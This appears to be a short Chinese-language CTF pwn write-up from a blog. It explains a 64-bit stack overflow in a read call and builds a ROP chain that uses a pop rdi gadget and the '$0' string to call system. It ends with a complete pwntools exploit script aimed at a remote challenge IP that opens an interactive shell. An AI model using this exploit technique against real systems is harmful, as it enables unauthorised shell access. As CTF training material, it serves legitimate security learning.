依旧是先检查文件的类型和保护 64位没有保护

用IDA看看,read存在溢出,溢出0x18(不懂可以翻阅前面的博客)

函数system可以调用指令

shift+F12看看

$0在Linux中是shell的名称
那么我们可以利用system函数调用$0来getshell,因为是64位,需要用rdi寄存器来给system传值
现在找一下rdi的地址和$0的地址


现在还需要system的地址 
现在就可以编写exp
from pwn import *
r=remote('114.116.54.89',10004)
rdi_add=0x4007D3
shell_add=0x60111F
sys_add=0x40075A
payload='a'*0x18+p64(rdi_add)+p64(shell_add)+p64(sys_add)
r.sendline(payload)
r.interactive()
